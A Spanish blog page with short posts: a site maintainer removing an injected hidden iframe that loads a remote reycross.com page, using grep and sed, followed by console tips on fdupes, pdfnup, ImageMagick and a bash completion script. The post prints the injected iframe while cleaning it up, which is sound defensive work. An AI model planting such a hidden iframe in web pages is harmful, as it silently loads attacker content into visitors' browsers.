Mini post:
Encontré en uno de los sitios web que mantengo, un código de XSS (cross site scripting). Aún no determiné el punto de entrada, pero me enteré gracias a un mail de Google.
Con grep y sed es bastante sencillo eliminarlo, ni que hablar con un script en Python 😛
Con grep busco los archivos, y con xargs convierto la salida el pipe en un parámetro para sed, y con sed reemplazo el código. Como el código insertado está al final del archivo, la expresión regular hubiese podido ser mucho más sencilla.
grep ./ -l -R -e "http://reycross.com/lib/index.php" | xargs sed -i -e "s/<iframe.*reycross.*>.*<\/iframe>/ /g" |
grep ./ -l -R -e "http://reycross.com/lib/index.php" | xargs sed -i -e "s/<iframe.*reycross.*>.*<\/iframe>/ /g"
El código a eliminar era este (no agrego los tags de apertura a propósito):
iframe
src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" framebord
er=0 marginheight=0 marginwidth=0 scrolling=no
iframe |
iframe
src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" framebord
er=0 marginheight=0 marginwidth=0 scrolling=no
iframe
¿Alguien que le haya ocurrido esto?
En este post voy a ir agregando comandos útiles que vamos encontrando entre los conocidos (y los que aporten), que permiten realizar tareas desde la consola sin tener que recurrir a programas sofisticados.
Confirmar todas las acciones que pregunte un programa interactivo.
devuelve una «y» cada vez que el programa quiere leer de la entrada estandar
devuelve una «s» cada vez que el programa quiere leer de la entrada estandar
Encontrar archivos duplicados y conservar uno.
fdupes encuentra mediante md5 archivos duplicados en la carpeta indicada. El parámetro d, le dice que borre el resto conservando el que le indiquemos. Mediante «yes 1» le decimos que conserve el primero que encuentra. Cuidado con md5 ;-).
Generar un PDF con varias páginas en una sola partiendo de otro PDF.
$ pdfnup salida.pdf --nup 2x5 --orient portrait --frame true |
$ pdfnup salida.pdf --nup 2x5 --orient portrait --frame true
Dai me contó acerca de una aplicación llamada pdfnup. Permite hacer lo que uno quiera con un PDF, como recortarlo (cortarle los márgenes excesivos), agrupar en disposición de tabla varias páginas dentro de cada una (para poder imprimir por ejemplo 2×3 páginas or carilla). Tiene muchas opciones, pero a la vez configuradas por defecto para no necesitar agregar muchas cosas. El archivo de salida se llamará igual que el de entrada más la disposición, por ejemplo «salida-2×5.pdf».
Recortar varias imágenes y convertirlas en PDF (una por página).
$ convert -crop '750x350+110+200' +repage resp?/*.png salida.pdf |
$ convert -crop '750x350+110+200' +repage resp?/*.png salida.pdf
convert es una de las aplicaciones de ImageMagick. Conserva los originales, permitiendo mientras convertimos de formato, modificarle brillo, contraste, recortarla, rotarla, y muchos etcéteras. Si quisieramos que convierta cada imagen en un archivo separado, bastaría con combinarlo con
$ find ./ -iname '*.png' -exec convert '{}' '{}.pdf' ';' |
$ find ./ -iname '*.png' -exec convert '{}' '{}.pdf' ';'
donde {} representa el nombre del archivo y ‘;’ finaliza el comando.
Bash incorpora una característica que permite el autocompletado en una terminal de los parámetros que acepta un programa. Para esto utiliza un script con diversas funciones, y permite que incorporando un archivo y ciertos comandos, podamos definir como se autcompletarán los programas que querramos.
Por ejemplo, tenemos hecho un programa con Milton y Daiana, que acepta varios parámetros. Hay algunos que no los usamos hace tiempo, y para no estar consultando la ayuda, pensamos que estaría bueno que se autocompletara.
El programa está hecho en mono, y se ejecuta haciendo
o bien
Aquí el archivo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # Author: Nacho
# /etc/bash_completion.d/programa
# copy it there and enjoy magic, compadre!
#
_programa()
{
local cur prev opts
COMPREPLY=()
cur="${COMP_WORDS[COMP_CWORD]}"
prev="${COMP_WORDS[COMP_CWORD-1]}"
opts="-h -? --help -r --reemp -e -f --extrae-flex -c -g -d --vft"
if [[ "${cur}" == -* ]] ; then
COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
else
_filedir '@(xml|sql)'
fi
}
complete -F _programa $filenames programa.exe
complete -F _command $filenames mono |
# Author: Nacho
# /etc/bash_completion.d/programa
# copy it there and enjoy magic, compadre!
#
_programa()
{
local cur prev opts
COMPREPLY=()
cur="${COMP_WORDS[COMP_CWORD]}"
prev="${COMP_WORDS[COMP_CWORD-1]}"
opts="-h -? --help -r --reemp -e -f --extrae-flex -c -g -d --vft"
if [[ "${cur}" == -* ]] ; then
COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
else
_filedir '@(xml|sql)'
fi
}
complete -F _programa $filenames programa.exe
complete -F _command $filenames mono
La línea 12 indica las opciones que acepta el programa.
La línea 17 indica que se listen (si no es que estoy intentando poner alguna opción) los directorios y archivos pero los XML y SQL únicamente.
La línea 20 indica bajo que nombre de ejecutable se completará y qué función es la encargada de tal tarea.
La línea 21 es la que indica que «mono» es un «command» al igual que otros definidos (sudo, fakeroot, nohup) que requieren autocompletado luego para el programa que le sigue.
En vez de listar la línea 12, se podría haber hecho que el programa en cuestión devuelva por defecto la lista de los parámetros que acepta. La forma de hacer esto sería reemplazar esa línea por:
12
| opts=`mono programa.exe -p` |
opts=`mono programa.exe -p`
Python tiene un módulo para realizar esto en forma más sencilla: optcomplete.
Espero les sea de utilidad!
